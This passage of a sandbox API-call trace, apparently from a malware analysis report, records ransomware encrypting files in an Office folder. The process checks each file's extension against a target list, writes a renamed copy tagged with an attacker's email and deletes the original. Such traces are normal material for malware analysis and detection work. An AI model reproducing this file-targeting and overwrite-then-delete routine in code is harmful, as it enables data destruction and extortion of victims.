lpOverlapped=0x0) returned 1 [0156.973] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0156.973] SetEndOfFile (hFile=0x1f8) returned 1 [0156.974] CloseHandle (hObject=0x1f8) returned 1 [0156.974] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.974] SetEndOfFile (hFile=0x314) returned 1 [0156.976] CloseHandle (hObject=0x314) returned 1 [0156.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico")) returned 1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.978] lstrlenW (lpString=".doc") returned 4 [0156.978] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.978] lstrlenW (lpString=".docx") returned 5 [0156.978] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.978] lstrlenW (lpString=".pdf") returned 4 [0156.978] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.978] lstrlenW (lpString=".xls") returned 4 [0156.978] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.978] lstrlenW (lpString=".xlsx") returned 5 [0156.978] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.978] lstrlenW (lpString=".ppt") returned 4 [0156.978] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.978] lstrlenW (lpString=".zip") returned 4 [0156.978] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.978] lstrlenW (lpString=".rar") returned 4 [0156.978] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.978] lstrlenW (lpString=".bz2") returned 4 [0156.978] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.978] lstrlenW (lpString=".7z") returned 3 [0156.978] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.978] lstrlenW (lpString=".dbf") returned 4 [0156.978] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.979] lstrlenW (lpString=".1cd") returned 4 [0156.979] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.979] lstrlenW (lpString=".jpg") returned 4 [0156.979] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.979] lstrlenW (lpString=".doc") returned 4 [0156.979] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.979] lstrlenW (lpString=".docx") returned 5 [0156.979] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.979] lstrlenW (lpString=".pdf") returned 4 [0156.979] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.979] lstrlenW (lpString=".xls") returned 4 [0156.979] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.979] lstrlenW (lpString=".xlsx") returned 5 [0156.979] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.979] lstrlenW (lpString=".ppt") returned 4 [0156.979] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.979] lstrlenW (lpString=".zip") returned 4 [0156.979] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.979] lstrlenW (lpString=".rar") returned 4 [0156.979] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.979] lstrlenW (lpString=".bz2") returned 4 [0156.979] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.979] lstrlenW (lpString=".7z") returned 3 [0156.979] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.979] lstrlenW (lpString=".dbf") returned 4 [0156.979] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.979] lstrlenW (lpString=".1cd") returned 4 [0156.979] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO") returned 62 [0156.979] lstrlenW (lpString=".jpg") returned 4 [0156.980] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.980] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0156.980] lstrlenW (lpString="NOTE.CFG") returned 8 [0156.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.981] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=781) returned 1 [0156.981] CloseHandle (hObject=0x314) returned 1 [0156.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg")) returned 0x20 [0156.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.982] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.982] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.983] GetLastError () returned 0x0 [0156.983] ReadFile (in: hFile=0x314, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x30d, lpOverlapped=0x0) returned 1 [0157.479] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x310, lpOverlapped=0x0) returned 1 [0157.480] ReadFile (in: hFile=0x314, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.480] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0157.480] SetEndOfFile (hFile=0x1f8) returned 1 [0158.353] CloseHandle (hObject=0x1f8) returned 1 [0158.353] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.353] SetEndOfFile (hFile=0x314) returned 1 [0158.404] CloseHandle (hObject=0x314) returned 1 [0158.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\note.cfg")) returned 1 [0158.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.486] lstrlenW (lpString=".doc") returned 4 [0158.486] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.486] lstrlenW (lpString=".docx") returned 5 [0158.486] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0158.486] lstrlenW (lpString=".pdf") returned 4 [0158.486] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.486] lstrlenW (lpString=".xls") returned 4 [0158.486] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.486] lstrlenW (lpString=".xlsx") returned 5 [0158.486] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0158.486] lstrlenW (lpString=".ppt") returned 4 [0158.486] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.486] lstrlenW (lpString=".zip") returned 4 [0158.486] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.486] lstrlenW (lpString=".rar") returned 4 [0158.486] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.486] lstrlenW (lpString=".bz2") returned 4 [0158.487] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.487] lstrlenW (lpString=".7z") returned 3 [0158.487] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.487] lstrlenW (lpString=".dbf") returned 4 [0158.487] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.487] lstrlenW (lpString=".1cd") returned 4 [0158.487] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.487] lstrlenW (lpString=".jpg") returned 4 [0158.487] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.487] lstrlenW (lpString=".doc") returned 4 [0158.487] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.487] lstrlenW (lpString=".docx") returned 5 [0158.487] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0158.487] lstrlenW (lpString=".pdf") returned 4 [0158.487] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.487] lstrlenW (lpString=".xls") returned 4 [0158.487] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.487] lstrlenW (lpString=".xlsx") returned 5 [0158.487] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0158.487] lstrlenW (lpString=".ppt") returned 4 [0158.487] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.487] lstrlenW (lpString=".zip") returned 4 [0158.487] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.487] lstrlenW (lpString=".rar") returned 4 [0158.487] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.487] lstrlenW (lpString=".bz2") returned 4 [0158.487] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.488] lstrlenW (lpString=".7z") returned 3 [0158.488] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.488] lstrlenW (lpString=".dbf") returned 4 [0158.488] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.488] lstrlenW (lpString=".1cd") returned 4 [0158.488] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTE.CFG") returned 62 [0158.488] lstrlenW (lpString=".jpg") returned 4 [0158.488] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.488] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0158.488] lstrlenW (lpString="POST.CFG") returned 8 [0158.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.489] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=777) returned 1 [0158.489] CloseHandle (hObject=0x1b0) returned 1 [0158.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg")) returned 0x20 [0158.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.489] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.489] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.490] GetLastError () returned 0x0 [0158.490] ReadFile (in: hFile=0x1b0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x309, lpOverlapped=0x0) returned 1 [0158.597] WriteFile (in: hFile=0x1b8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x310, lpOverlapped=0x0) returned 1 [0158.598] ReadFile (in: hFile=0x1b0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.598] WriteFile (in: hFile=0x1b8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0158.598] SetEndOfFile (hFile=0x1b8) returned 1 [0158.598] CloseHandle (hObject=0x1b8) returned 1 [0158.598] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.598] SetEndOfFile (hFile=0x1b0) returned 1 [0158.600] CloseHandle (hObject=0x1b0) returned 1 [0158.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg")) returned 1 [0158.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.602] lstrlenW (lpString=".doc") returned 4 [0158.602] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.602] lstrlenW (lpString=".docx") returned 5 [0158.602] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0158.602] lstrlenW (lpString=".pdf") returned 4 [0158.602] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.602] lstrlenW (lpString=".xls") returned 4 [0158.602] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.602] lstrlenW (lpString=".xlsx") returned 5 [0158.602] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0158.602] lstrlenW (lpString=".ppt") returned 4 [0158.602] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.602] lstrlenW (lpString=".zip") returned 4 [0158.602] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.602] lstrlenW (lpString=".rar") returned 4 [0158.602] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.602] lstrlenW (lpString=".bz2") returned 4 [0158.602] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.602] lstrlenW (lpString=".7z") returned 3 [0158.602] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.602] lstrlenW (lpString=".dbf") returned 4 [0158.602] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.602] lstrlenW (lpString=".1cd") returned 4 [0158.602] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.603] lstrlenW (lpString=".jpg") returned 4 [0158.603] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.603] lstrlenW (lpString=".doc") returned 4 [0158.603] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.603] lstrlenW (lpString=".docx") returned 5 [0158.603] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0158.603] lstrlenW (lpString=".pdf") returned 4 [0158.603] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.603] lstrlenW (lpString=".xls") returned 4 [0158.603] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.603] lstrlenW (lpString=".xlsx") returned 5 [0158.603] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0158.603] lstrlenW (lpString=".ppt") returned 4 [0158.603] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.603] lstrlenW (lpString=".zip") returned 4 [0158.603] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.603] lstrlenW (lpString=".rar") returned 4 [0158.603] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.603] lstrlenW (lpString=".bz2") returned 4 [0158.603] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.603] lstrlenW (lpString=".7z") returned 3 [0158.603] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.603] lstrlenW (lpString=".dbf") returned 4 [0158.603] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.603] lstrlenW (lpString=".1cd") returned 4 [0158.603] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0158.603] lstrlenW (lpString=".jpg") returned 4 [0158.603] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.604] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0158.604] lstrlenW (lpString="POSTS.ICO") returned 9 [0158.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.628] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0158.628] CloseHandle (hObject=0x1e0) returned 1 [0158.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico")) returned 0x20 [0158.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.699] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.699] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0158.699] GetLastError () returned 0x0 [0158.699] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0158.716] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0158.717] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.717] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0158.717] SetEndOfFile (hFile=0x1f8) returned 1 [0158.717] CloseHandle (hObject=0x1f8) returned 1 [0158.717] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.717] SetEndOfFile (hFile=0x1b8) returned 1 [0158.720] CloseHandle (hObject=0x1b8) returned 1 [0158.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft 